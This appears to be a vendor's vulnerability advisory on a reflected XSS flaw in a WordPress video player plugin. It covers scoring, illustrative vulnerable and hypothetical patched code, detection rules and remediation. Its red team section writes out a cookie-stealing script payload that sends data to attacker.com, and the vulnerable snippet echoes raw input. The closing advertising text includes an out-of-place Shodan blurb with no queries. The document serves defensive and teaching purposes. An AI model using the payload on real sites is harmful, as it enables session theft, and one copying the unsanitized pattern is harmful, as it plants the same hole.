CVE-2025-27005
Executive Summary
CVE-2025-27005 is a reflected Cross-Site Scripting (XSS) vulnerability in the LambertGroup HTML5 Video Player plugin (lbg-vp2-html5-bottom) for WordPress. The vulnerability exists in versions up to and including 5.3.5, where user-supplied input is not properly neutralized during web page generation. An attacker can craft a malicious URL that, when visited by an authenticated administrator, executes arbitrary JavaScript in the context of the WordPress admin panel. This can lead to session hijacking, privilege escalation, or defacement. The CVSS score is 7.1 (High), and no public exploit or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users should verify the integrity of their plugin files by comparing checksums with the repository. No known supply chain compromise has been reported, but the lack of a patch increases risk for unmaintained installations.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must click a crafted link)
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
The vulnerability is classified as High due to the low complexity and network-based attack vector, though user interaction is required.
Deep Dive & Mechanics
The vulnerability resides in the lbg-vp2-html5-bottom component of the HTML5 Video Player plugin. The plugin fails to sanitize or escape user-controlled input (likely via the id or src parameter) before rendering it in the HTML response. When a victim clicks a crafted URL, the malicious script is reflected back in the page and executed by the browser.
The attack flow:
- Attacker crafts a URL:
https://target.com/wp-admin/admin-ajax.php?action=lbg_vp2_html5_bottom&id=<script>alert(1)</script> - Victim (admin) clicks the link while authenticated.
- The plugin processes the
idparameter and outputs it unsanitized. - The browser executes the injected script, allowing the attacker to steal cookies, perform actions on behalf of the admin, or deface the site.
Vulnerable vs. Patched Code
Vulnerable Code (<= 5.3.5):
// In lbg-vp2-html5-bottom.php
function lbg_vp2_html5_bottom_ajax_handler() {
$id = $_GET['id'];
echo "<div id='player_$id'>";
// ... rest of the code
}
Patched Code (Hypothetical):
function lbg_vp2_html5_bottom_ajax_handler() {
$id = sanitize_text_field($_GET['id']);
echo "<div id='player_" . esc_attr($id) . "'>";
// ... rest of the code
}
The patched version uses sanitize_text_field() and esc_attr() to neutralize the input before output.
Exploitation & Lab Setup
Red Team
- Setup: Deploy a WordPress instance with the vulnerable plugin (version 5.3.5).
- Craft Payload: Create a URL with a malicious script:
http://target/wp-admin/admin-ajax.php?action=lbg_vp2_html5_bottom&id=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Deliver: Send the link to an authenticated admin via email or social engineering.
- Execute: When the admin clicks, the script executes and exfiltrates cookies.
Blue Team
- Detection: Monitor for unusual
admin-ajax.phprequests withaction=lbg_vp2_html5_bottomand suspiciousidparameters. - Honeypot: Deploy a fake WordPress admin account and monitor for XSS attempts.
- Mitigation: Apply a WAF rule to block requests containing
<script>in theidparameter.
Indicators of Compromise (IOCs)
- Network: HTTP requests to
/wp-admin/admin-ajax.phpwithaction=lbg_vp2_html5_bottomandidcontaining<script>oronerror=tags. - Logs: Apache/Nginx access logs showing
admin-ajax.phpwithaction=lbg_vp2_html5_bottomand non-numericidvalues. - File: Modified plugin files in
/wp-content/plugins/lbg-vp2-html5/(if attacker uploads a backdoor).
Detection Engineering
YARA Rule
rule CVE_2025_27005_XSS {
meta:
description = "Detects reflected XSS attempts against LambertGroup HTML5 Video Player"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-27005"
strings:
$xss1 = /action=lbg_vp2_html5_bottom.*id=.*<script/i
$xss2 = /action=lbg_vp2_html5_bottom.*id=.*onerror/i
$xss3 = /action=lbg_vp2_html5_bottom.*id=.*onload/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt Against LambertGroup HTML5 Video Player
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting CVE-2025-27005
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'action=lbg_vp2_html5_bottom'
cs-uri-query|re: '(id=.*<script|id=.*onerror|id=.*onload)'
condition: selection
falsepositives:
- Legitimate use of script tags in admin (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-27005 Reflected XSS in LambertGroup HTML5 Video Player"; flow:to_server,established; content:"GET"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=lbg_vp2_html5_bottom"; http_uri; pcre:"/(id=.*<script|id=.*onerror|id=.*onload)/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the plugin if not essential. Apply a WAF rule to block malicious
idparameters. - Short-term: Manually patch the plugin by adding
sanitize_text_field()andesc_attr()to the vulnerable function. - Long-term: Monitor the plugin repository for an official patch. Consider replacing the plugin with a maintained alternative.
- User Training: Educate administrators about phishing links and the risks of clicking untrusted URLs.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.